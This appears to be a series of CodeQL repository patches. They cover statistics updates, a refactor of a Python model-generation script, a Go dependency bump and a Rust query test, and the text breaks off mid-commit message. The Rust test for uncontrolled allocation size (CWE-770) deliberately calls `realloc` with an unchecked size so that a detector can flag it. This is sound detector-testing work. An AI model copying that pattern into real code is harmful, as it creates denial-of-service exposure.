- 28240 + 20005 @@ -33855,14 +33715,14 @@ 12 - 153383 - 153384 - 21 + 118902 + 118903 + 28 - 992173 - 992174 - 21 + 777025 + 777026 + 28 @@ -33876,14 +33736,14 @@ 12 - 2282 - 2283 - 21 + 1298 + 1299 + 28 - 8750 - 8751 - 21 + 3713 + 3714 + 28 @@ -33904,15 +33764,15 @@ new_allocated_type - 58177 + 57992 expr - 58177 + 57992 type_id - 34494 + 34384 @@ -33926,7 +33786,7 @@ 1 2 - 58177 + 57992 @@ -33942,17 +33802,17 @@ 1 2 - 14501 + 14455 2 3 - 18234 + 18176 3 19 - 1759 + 1753 @@ -33962,15 +33822,15 @@ new_array_allocated_type - 6964 + 6932 expr - 6964 + 6932 type_id - 2992 + 2978 @@ -33984,7 +33844,7 @@ 1 2 - 6964 + 6932 @@ -34005,17 +33865,17 @@ 2 3 - 2645 + 2633 3 5 - 225 + 224 6 15 - 78 + 77 @@ -35361,15 +35221,15 @@ condition_decl_bind - 438155 + 437622 expr - 438155 + 437622 decl - 438155 + 437622 @@ -35383,7 +35243,7 @@ 1 2 - 438155 + 437622 @@ -35399,7 +35259,7 @@ 1 2 - 438155 + 437622 @@ -35409,15 +35269,15 @@ typeid_bind - 60322 + 60130 expr - 60322 + 60130 type_id - 20078 + 20015 @@ -35431,7 +35291,7 @@ 1 2 - 60322 + 60130 @@ -35447,17 +35307,17 @@ 1 2 - 3732 + 3720 2 3 - 15831 + 15781 3 328 - 514 + 513 @@ -35467,15 +35327,15 @@ uuidof_bind - 27728 + 28057 expr - 27728 + 28057 type_id - 27459 + 27789 @@ -35489,7 +35349,7 @@ 1 2 - 27728 + 28057 @@ -35505,12 +35365,12 @@ 1 2 - 27234 + 27565 2 4 - 225 + 224 @@ -35520,15 +35380,15 @@ sizeof_bind - 241252 + 241336 expr - 241252 + 241336 type_id - 11189 + 11178 @@ -35542,7 +35402,7 @@ 1 2 - 241252 + 241336 @@ -35558,12 +35418,12 @@ 1 2 - 3901 + 3866 2 3 - 2758 + 2775 3 @@ -35588,7 +35448,7 @@ 7 40 - 848 + 854 40 @@ -35651,11 +35511,11 @@ lambdas - 17804 + 17748 expr - 17804 + 17748 default_capture @@ -35677,7 +35537,7 @@ 1 2 - 17804 + 17748 @@ -35693,7 +35553,7 @@ 1 2 - 17804 + 17748 @@ -35792,23 +35652,23 @@ lambda_capture - 28786 + 28523 id - 28786 + 28523 lambda - 13391 + 13294 index - 147 + 146 field - 28786 + 28523 captured_by_reference @@ -35820,7 +35680,7 @@ location - 18604 + 18396 @@ -35834,7 +35694,7 @@ 1 2 - 28786 + 28523 @@ -35850,7 +35710,7 @@ 1 2 - 28786 + 28523 @@ -35866,7 +35726,7 @@ 1 2 - 28786 + 28523 @@ -35882,7 +35742,7 @@ 1 2 - 28786 + 28523 @@ -35898,7 +35758,7 @@ 1 2 - 28786 + 28523 @@ -35914,7 +35774,7 @@ 1 2 - 28786 + 28523 @@ -35930,27 +35790,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -35966,27 +35826,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -36002,27 +35862,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -36038,12 +35898,12 @@ 1 2 - 12801 + 12724 2 3 - 589 + 569 @@ -36059,12 +35919,12 @@ 1 2 - 13365 + 13268 2 3 - 26 + 25 @@ -36080,27 +35940,27 @@ 1 2 - 7337 + 7303 2 3 - 3278 + 3245 3 4 - 1344 + 1329 4 7 - 1092 + 1087 7 18 - 338 + 328 @@ -36159,43 +36019,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36255,43 +36115,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36351,43 +36211,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36489,43 +36349,43 @@ 8 - 25 - 26 + 24 + 25 8 - 42 - 43 + 41 + 42 8 - 66 - 67 + 65 + 66 8 - 99 - 100 + 98 + 99 8 - 180 - 181 + 179 + 180 8 - 349 - 350 + 347 + 348 8 - 589 - 590 + 585 + 586 8 - 937 - 938 + 933 + 934 8 @@ -36542,7 +36402,7 @@ 1 2 - 28786 + 28523 @@ -36558,7 +36418,7 @@ 1 2 - 28786 + 28523 @@ -36574,7 +36434,7 @@ 1 2 - 28786 + 28523 @@ -36590,7 +36450,7 @@ 1 2 - 28786 + 28523 @@ -36606,7 +36466,7 @@ 1 2 - 28786 + 28523 @@ -36622,7 +36482,7 @@ 1 2 - 28786 + 28523 @@ -36636,13 +36496,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36657,13 +36517,13 @@ 12 - 592 - 593 + 590 + 591 8 - 1020 - 1021 + 1016 + 1017 8 @@ -36699,13 +36559,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36736,13 +36596,13 @@ 12 - 547 - 548 + 545 + 546 8 - 1601 - 1602 + 1589 + 1590 8 @@ -36762,8 +36622,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36783,8 +36643,8 @@ 8 - 927 - 928 + 923 + 924 8 @@ -36825,8 +36685,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36862,8 +36722,8 @@ 8 - 1817 - 1818 + 1803 + 1804 8 @@ -36880,17 +36740,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36906,12 +36766,12 @@ 1 2 - 17381 + 17179 2 68 - 1222 + 1217 @@ -36927,12 +36787,12 @@ 1 2 - 17858 + 17663 2 8 - 745 + 733 @@ -36948,17 +36808,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36974,12 +36834,12 @@ 1 2 - 18578 + 18370 2 3 - 26 + 25 @@ -36995,7 +36855,7 @@ 1 2 - 18604 + 18396 @@ -37005,11 +36865,11 @@ fold - 1372 + 1368 expr - 1372 + 1368 operator @@ -37031,7 +36891,7 @@ 1 2 - 1372 + 1368 @@ -37047,7 +36907,7 @@ 1 2 - 1372 + 1368 @@ -37126,19 +36986,19 @@ stmts - 6324453 + 6258938 id - 6324453 + 6258938 kind - 2556 + 172 location - 2966319 + 2754699 @@ -37152,7 +37012,7 @@ 1 2 - 6324453 + 6258938 @@ -37168,7 +37028,7 @@ 1 2 - 6324453 + 6258938 @@ -37184,97 +37044,102 @@ 1 2 - 134 + 8 - 18 - 19 - 134 + 26 + 27 + 8 - 22 - 23 - 134 + 418 + 419 + 8 - 51 - 52 - 134 + 546 + 547 + 8 - 76 - 77 - 134 + 827 + 828 + 8 - 84 - 85 - 134 + 1470 + 1471 + 8 - 107 - 108 - 134 + 1577 + 1578 + 8 - 163 - 164 - 134 + 1802 + 1803 + 8 - 258 - 259 - 134 + 2462 + 2463 + 8 - 299 - 300 - 134 + 3217 + 3218 + 8 - 412 - 413 - 134 + 3610 + 3611 + 8 - 498 - 499 - 134 + 4863 + 4864 + 8 - 538 - 539 - 134 + 16249 + 16250 + 8 - 1371 - 1372 - 134 + 16732 + 16733 + 8 - 2810 - 2811 - 134 + 21439 + 21440 + 8 - 4866 - 4867 - 134 + 68795 + 68796 + 8 - 9205 - 9206 - 134 + 89075 + 89076 + 8 - 12120 - 12121 - 134 + 112007 + 112008 + 8 - 14105 - 14106 - 134 + 185649 + 185650 + 8 + + + 194240 + 194241 + 8 @@ -37290,97 +37155,102 @@ 1 2 - 134 + 8 - 8 - 9 - 134 + 26 + 27 + 8 - 18 - 19 - 134 + 109 + 110 + 8 - 45 - 46 - 134 + 419 + 420 + 8 - 50 - 51 - 134 + 778 + 779 + 8 - 56 - 57 - 134 + 1079 + 1080 + 8 - 74 - 75 - 134 + 1311 + 1312 + 8 - 101 - 102 - 134 + 1347 + 1348 + 8 - 103 - 104 - 134 + 1388 + 1389 + 8 - 131 - 132 - 134 + 2061 + 2062 + 8 - 225 - 226 - 134 + 2309 + 2310 + 8 - 252 - 253 - 134 + 2476 + 2477 + 8 - 368 - 369 - 134 + 7043 + 7044 + 8 - 650 - 651 - 134 + 8622 + 8623 + 8 - 1753 - 1754 - 134 + 11206 + 11207 + 8 - 2198 - 2199 - 134 + 36340 + 36341 + 8 - 4244 - 4245 - 134 + 43405 + 43406 + 8 - 6101 - 6102 - 134 + 47752 + 47753 + 8 - 6607 - 6608 - 134 + 83834 + 83835 + 8 + + + 97372 + 97373 + 8 @@ -37396,22 +37266,17 @@ 1 2 - 2357205 + 2352912 2 - 3 - 243538 + 4 + 239081 - 3 - 8 - 228602 - - - 8 - 653 - 136973 + 4 + 1581 + 162705 @@ -37427,12 +37292,12 @@ 1 2 - 2892720 + 2667989 2 - 8 - 73599 + 10 + 86709 @@ -37549,15 +37414,15 @@ if_initialization - 403 + 375 if_stmt - 403 + 375 init_id - 403 + 375 @@ -37571,7 +37436,7 @@ 1 2 - 403 + 375 @@ -37587,7 +37452,7 @@ 1 2 - 403 + 375 @@ -37597,15 +37462,15 @@ if_then - 987309 + 987388 if_stmt - 987309 + 987388 then_id - 987309 + 987388 @@ -37619,7 +37484,7 @@ 1 2 - 987309 + 987388 @@ -37635,7 +37500,7 @@ 1 2 - 987309 + 987388 @@ -37645,15 +37510,15 @@ if_else - 468357 + 467787 if_stmt - 468357 + 467787 else_id - 468357 + 467787 @@ -37667,7 +37532,7 @@ 1 2 - 468357 + 467787 @@ -37683,7 +37548,7 @@ 1 2 - 468357 + 467787 @@ -37741,15 +37606,15 @@ constexpr_if_then - 72388 + 103934 constexpr_if_stmt - 72388 + 103934 then_id - 72388 + 103934 @@ -37763,7 +37628,7 @@ 1 2 - 72388 + 103934 @@ -37779,7 +37644,7 @@ 1 2 - 72388 + 103934 @@ -37789,15 +37654,15 @@ constexpr_if_else - 41980 + 74042 constexpr_if_stmt - 41980 + 74042 else_id - 41980 + 74042 @@ -37811,7 +37676,7 @@ 1 2 - 41980 + 74042 @@ -37827,7 +37692,7 @@ 1 2 - 41980 + 74042 @@ -37933,15 +37798,15 @@ while_body - 39531 + 39534 while_stmt - 39531 + 39534 body_id - 39531 + 39534 @@ -37955,7 +37820,7 @@ 1 2 - 39531 + 39534 @@ -37971,7 +37836,7 @@ 1 2 - 39531 + 39534 @@ -37981,15 +37846,15 @@ do_body - 232977 + 232974 do_stmt - 232977 + 232974 body_id - 232977 + 232974 @@ -38003,7 +37868,7 @@ 1 2 - 232977 + 232974 @@ -38019,7 +37884,7 @@ 1 2 - 232977 + 232974 @@ -38077,11 +37942,11 @@ switch_case - 895930 + 894840 switch_stmt - 441314 + 440777 index @@ -38089,7 +37954,7 @@ case_id - 895930 + 894840 @@ -38108,12 +37973,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38134,12 +37999,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38297,7 +38162,7 @@ 1 2 - 895930 + 894840 @@ -38313,7 +38178,7 @@ 1 2 - 895930 + 894840 @@ -38323,15 +38188,15 @@ switch_body - 441314 + 440777 switch_stmt - 441314 + 440777 body_id - 441314 + 440777 @@ -38345,7 +38210,7 @@ 1 2 - 441314 + 440777 @@ -38361,7 +38226,7 @@ 1 2 - 441314 + 440777 @@ -38371,15 +38236,15 @@ for_initialization - 73031 + 73036 for_stmt - 73031 + 73036 init_id - 73031 + 73036 @@ -38393,7 +38258,7 @@ 1 2 - 73031 + 73036 @@ -38409,7 +38274,7 @@ 1 2 - 73031 + 73036 @@ -38419,15 +38284,15 @@ for_condition - 76117 + 76123 for_stmt - 76117 + 76123 condition_id - 76117 + 76123 @@ -38441,7 +38306,7 @@ 1 2 - 76117 + 76123 @@ -38457,7 +38322,7 @@ 1 2 - 76117 + 76123 @@ -38467,15 +38332,15 @@ for_update - 73171 + 73177 for_stmt - 73171 + 73177 update_id - 73171 + 73177 @@ -38489,7 +38354,7 @@ 1 2 - 73171 + 73177 @@ -38505,7 +38370,7 @@ 1 2 - 73171 + 73177 @@ -38515,15 +38380,15 @@ for_body - 84141 + 84148 for_stmt - 84141 + 84148 body_id - 84141 + 84148 @@ -38537,7 +38402,7 @@ 1 2 - 84141 + 84148 @@ -38553,7 +38418,7 @@ 1 2 - 84141 + 84148 @@ -38563,19 +38428,19 @@ stmtparents - 5536606 + 5523824 id - 5536606 + 5523824 index - 16843 + 16765 parent - 2349144 + 2342363 @@ -38589,7 +38454,7 @@ 1 2 - 5536606 + 5523824 @@ -38605,7 +38470,7 @@ 1 2 - 5536606 + 5523824 @@ -38621,52 +38486,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38682,52 +38547,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38743,32 +38608,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38784,32 +38649,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38819,22 +38684,22 @@ ishandler - 47453 + 47389 block - 47453 + 47389 stmt_decl_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -38842,7 +38707,7 @@ decl - 730550 + 730175 @@ -38856,12 +38721,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38877,12 +38742,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38942,7 +38807,7 @@ 5480 - 170178 + 170179 8 @@ -39003,7 +38868,7 @@ 5480 - 170161 + 170162 8 @@ -39020,7 +38885,7 @@ 1 2 - 730526 + 730151 2 @@ -39041,7 +38906,7 @@ 1 2 - 730550 + 730175 @@ -39051,11 +38916,11 @@ stmt_decl_entry_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -39063,7 +38928,7 @@ decl_entry - 730619 + 730244 @@ -39077,12 +38942,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39098,12 +38963,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39163,7 +39028,7 @@ 5480 - 170178 + 170179 8 @@ -39224,7 +39089,7 @@ 5480 - 170178 + 170179 8 @@ -39241,7 +39106,7 @@ 1 2 - 730619 + 730244 @@ -39257,7 +39122,7 @@ 1 2 - 730619 + 730244 @@ -39267,15 +39132,15 @@ blockscope - 1838779 + 1764517 block - 1838779 + 1764517 enclosing - 1575731 + 1509119 @@ -39289,7 +39154,7 @@ 1 2 - 1838779 + 1764517 @@ -39305,17 +39170,17 @@ 1 2 - 1400410 + 1337771 2 3 - 129842 + 128699 3 28 - 45478 + 42649 @@ -39325,19 +39190,19 @@ jumpinfo - 347302 + 347327 id - 347302 + 347327 str - 28864 + 28866 target - 72493 + 72498 @@ -39351,7 +39216,7 @@ 1 2 - 347302 + 347327 @@ -39367,7 +39232,7 @@ 1 2 - 347302 + 347327 @@ -39383,7 +39248,7 @@ 2 3 - 13557 + 13558 3 @@ -39429,7 +39294,7 @@ 1 2 - 23122 + 23124 2 @@ -39460,17 +39325,17 @@ 2 3 - 36105 + 36107 3 4 - 17581 + 17583 4 5 - 7357 + 7358 5 @@ -39496,7 +39361,7 @@ 1 2 - 72493 + 72498 @@ -39506,19 +39371,19 @@ preprocdirects - 5704844 + 5407616 id - 5704844 + 5407616 kind - 1480 + 1375 location - 5701480 + 5404364 @@ -39532,7 +39397,7 @@ 1 2 - 5704844 + 5407616 @@ -39548,7 +39413,7 @@ 1 2 - 5704844 + 5407616 @@ -39564,57 +39429,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23266 - 23267 - 134 + 21984 + 21985 + 125 @@ -39630,57 +39495,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23241 - 23242 - 134 + 21958 + 21959 + 125 @@ -39696,12 +39561,12 @@ 1 2 - 5701345 + 5404239 - 26 - 27 - 134 + 27 + 28 + 125 @@ -39717,7 +39582,7 @@ 1 2 - 5701480 + 5404364 @@ -39727,15 +39592,15 @@ preprocpair - 1103859 + 1141282 begin - 846328 + 886636 elseelifend - 1103859 + 1141282 @@ -39749,17 +39614,17 @@ 1 2 - 601579 + 645622 2 3 - 235599 + 231383 3 9 - 9149 + 9630 @@ -39775,7 +39640,7 @@ 1 2 - 1103859 + 1141282 @@ -39785,41 +39650,41 @@ preproctrue - 388584 + 437752 branch - 388584 + 437752 preprocfalse - 273273 + 284664 branch - 273273 + 284664 preproctext - 4690461 + 4352508 id - 4690461 + 4352508 head - 3333241 + 2954828 body - 1948304 + 1681344 @@ -39833,7 +39698,7 @@ 1 2 - 4690461 + 4352508 @@ -39849,7 +39714,7 @@ 1 2 - 4690461 + 4352508 @@ -39865,12 +39730,12 @@ 1 2 - 3143793 + 2758089 2 - 740 - 189448 + 798 + 196738 @@ -39886,12 +39751,12 @@ 1 2 - 3253048 + 2875157 2 5 - 80192 + 79670 @@ -39907,17 +39772,17 @@ 1 2 - 1763699 + 1532758 2 - 6 - 146122 + 10 + 127698 - 6 - 12303 - 38481 + 10 + 13579 + 20887 @@ -39933,17 +39798,17 @@ 1 2 - 1767601 + 1537010 2 - 7 - 146526 + 12 + 127323 - 7 - 2977 - 34176 + 12 + 3231 + 17009 @@ -39953,15 +39818,15 @@ includes - 408508 + 406823 id - 408508 + 406823 included - 75250 + 74940 @@ -39975,7 +39840,7 @@ 1 2 - 408508 + 406823 @@ -39991,37 +39856,37 @@ 1 2 - 37239 + 37085 2 3 - 12106 + 12056 3 4 - 6351 + 6324 4 6 - 6865 + 6837 6 11 - 5795 + 5771 11 47 - 5646 + 5623 47 793 - 1245 + 1240 @@ -40031,15 +39896,15 @@ link_targets - 947 + 943 id - 947 + 943 binary - 947 + 943 @@ -40053,7 +39918,7 @@ 1 2 - 947 + 943 @@ -40069,7 +39934,7 @@ 1 2 - 947 + 943 @@ -40079,15 +39944,15 @@ link_parent - 38261175 + 38129861 element - 4866384 + 4849837 link_target - 429 + 427 @@ -40101,17 +39966,17 @@ 1 2 - 667923 + 665798 2 9 - 33936 + 33828 9 10 - 4164523 + 4150209 @@ -40130,48 +39995,48 @@ 42 - 97325 - 97326 + 97300 + 97301 42 - 97444 - 97445 + 97419 + 97420 42 - 97497 - 97498 + 97472 + 97473 42 - 97524 - 97525 + 97499 + 97500 42 - 97546 - 97547 + 97521 + 97522 42 - 97578 - 97579 + 97553 + 97554 42 - 99585 - 99586 + 99560 + 99561 42 - 102965 - 102966 + 102940 + 102941 42 - 104327 - 104328 + 104302 + 104303 42 From e1eb1f6345d5ada600f4198bed793b806e32f220 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 16:02:29 +0200 Subject: [PATCH 182/271] Rust: address review Also fix some minor things in `bulk_generate_mad.py`. --- .../models-as-data/bulk_generate_mad.py | 51 +++++++++---------- rust/bulk_generation_targets.yml | 6 +++ .../UncontrolledAllocationSize.expected | 1 + .../test/query-tests/security/CWE-770/main.rs | 2 +- 4 files changed, 31 insertions(+), 29 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 2c6920a3e98..6f874b99899 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -8,23 +8,27 @@ Note: This file must be formatted using the Black Python formatter. import os.path import subprocess import sys -from typing import NotRequired, TypedDict, List, Callable, Optional +from typing import Required, TypedDict, List, Callable, Optional from concurrent.futures import ThreadPoolExecutor, as_completed import time import argparse -import json -import requests import zipfile import tarfile import shutil +def missing_module(module_name: str) -> None: + print(f"ERROR: {module_name} is not installed. Please install it with 'pip install {module_name}'.") + sys.exit(1) + try: import yaml except ImportError: - print( - "ERROR: PyYAML is not installed. Please install it with 'pip install pyyaml'." - ) - sys.exit(1) + missing_module("pyyaml") + +try: + import requests +except ImportError: + missing_module("requests") import generate_mad as mad @@ -37,23 +41,14 @@ build_dir = os.path.join(gitroot, "mad-generation-build") # A project to generate models for -class Project(TypedDict): - """ - Type definition for projects (acquired via a GitHub repo) to model. - - Attributes: - name: The name of the project - git_repo: URL to the git repository - git_tag: Optional Git tag to check out - """ - - name: str - git_repo: NotRequired[str] - git_tag: NotRequired[str] - with_sinks: NotRequired[bool] - with_sinks: NotRequired[bool] - with_summaries: NotRequired[bool] - +Project = TypedDict("Project", { + "name": Required[str], + "git-repo": str, + "git-tag": str, + "with-sinks": bool, + "with-sources": bool, + "with-summaries": bool, +}, total=False) def should_generate_sinks(project: Project) -> bool: return project.get("with-sinks", True) @@ -72,14 +67,14 @@ def clone_project(project: Project) -> str: Shallow clone a project into the build directory. Args: - project: A dictionary containing project information with 'name', 'git_repo', and optional 'git_tag' keys. + project: A dictionary containing project information with 'name', 'git-repo', and optional 'git-tag' keys. Returns: The path to the cloned project directory. """ name = project["name"] - repo_url = project["git_repo"] - git_tag = project.get("git_tag") + repo_url = project["git-repo"] + git_tag = project.get("git-tag") # Determine target directory target_dir = os.path.join(build_dir, name) @@ -178,7 +173,7 @@ def build_database( Args: language: The language for which to build the database (e.g., "rust"). extractor_options: Additional options for the extractor. - project: A dictionary containing project information with 'name' and 'git_repo' keys. + project: A dictionary containing project information with 'name' and 'git-repo' keys. project_dir: Path to the CodeQL database. Returns: diff --git a/rust/bulk_generation_targets.yml b/rust/bulk_generation_targets.yml index b2832d815ae..15e38c7a18e 100644 --- a/rust/bulk_generation_targets.yml +++ b/rust/bulk_generation_targets.yml @@ -1,6 +1,12 @@ strategy: dca language: rust destination: rust/ql/lib/ext/generated +# targets must have name specified and corresponding to the name in the DCA suite +# they can optionally specify any of +# with-sinks: false +# with-sources: false +# with-summaries: false +# if a target has a dependency in this same list, it should be listed after that dependency targets: - name: rust - name: libc diff --git a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected index dbc616e56c6..711f3ff6fcd 100644 --- a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected +++ b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected @@ -526,3 +526,4 @@ nodes subpaths testFailures | main.rs:202:32:202:38 | realloc | Unexpected result: Alert=arg1 | +| main.rs:202:52:202:96 | //... | Missing result: Alert[rust/uncontrolled-allocation-size] | diff --git a/rust/ql/test/query-tests/security/CWE-770/main.rs b/rust/ql/test/query-tests/security/CWE-770/main.rs index 6d786dd0323..bf39be7f564 100644 --- a/rust/ql/test/query-tests/security/CWE-770/main.rs +++ b/rust/ql/test/query-tests/security/CWE-770/main.rs @@ -199,7 +199,7 @@ unsafe fn test_system_alloc(v: usize) { let l3 = std::alloc::Layout::array::(10).unwrap(); let m3 = std::alloc::System.alloc(l3); - let _ = std::alloc::System.realloc(m3, l3, v); // $ MISSING: Alert[rust/uncontrolled-allocation-size] + let _ = std::alloc::System.realloc(m3, l3, v); // $ Alert[rust/uncontrolled-allocation-size] let l4 = std::alloc::Layout::array::(10).unwrap(); let m4 = std::ptr::NonNull::::new(std::alloc::alloc(l4)).unwrap(); From bbabf2c4104eb3a5685b531dbc0b124df3c71eee Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 6 Jun 2025 03:29:36 +0000 Subject: [PATCH 183/271] Bump the extractor-dependencies group in /go/extractor with 2 updates Bumps the extractor-dependencies group in /go/extractor with 2 updates: [golang.org/x/mod](https://github.com/golang/mod) and [golang.org/x/tools](https://github.com/golang/tools). Updates `golang.org/x/mod` from 0.24.0 to 0.25.0 - [Commits](https://github.com/golang/mod/compare/v0.24.0...v0.25.0) Updates `golang.org/x/tools` from 0.33.0 to 0.34.0 - [Release notes](https://github.com/golang/tools/releases) - [Commits](https://github.com/golang/tools/compare/v0.33.0...v0.34.0) --- updated-dependencies: - dependency-name: golang.org/x/mod dependency-version: 0.25.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies - dependency-name: golang.org/x/tools dependency-version: 0.34.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies ... Signed-off-by: dependabot[bot] --- go/extractor/go.mod | 6 +++--- go/extractor/go.sum | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/go/extractor/go.mod b/go/extractor/go.mod index cfdc82cbd2b..8dce8565a58 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -9,8 +9,8 @@ toolchain go1.24.0 // when adding or removing dependencies, run // bazel mod tidy require ( - golang.org/x/mod v0.24.0 - golang.org/x/tools v0.33.0 + golang.org/x/mod v0.25.0 + golang.org/x/tools v0.34.0 ) -require golang.org/x/sync v0.14.0 // indirect +require golang.org/x/sync v0.15.0 // indirect diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 3341c6aa4dd..c6a97825c8a 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -1,8 +1,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= -golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= -golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ= -golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= -golang.org/x/tools v0.33.0 h1:4qz2S3zmRxbGIhDIAgjxvFutSvH5EfnsYrRBj0UI0bc= -golang.org/x/tools v0.33.0/go.mod h1:CIJMaWEY88juyUfo7UbgPqbC8rU2OqfAV1h2Qp0oMYI= +golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w= +golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8= +golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= +golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= From 86f425d2fc543472f4b76db46ce73f50e496e8e7 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 07:13:26 +0200 Subject: [PATCH 184/271] C++: Fix join-order problem after stats file update Before the fix: ``` Pipeline standard for AVRule79::exprReleases/3#e849cdd3@f2995ebb was evaluated in 5 iterations totaling 168745ms (delta sizes total: 12583). 85855 ~0% {2} r1 = 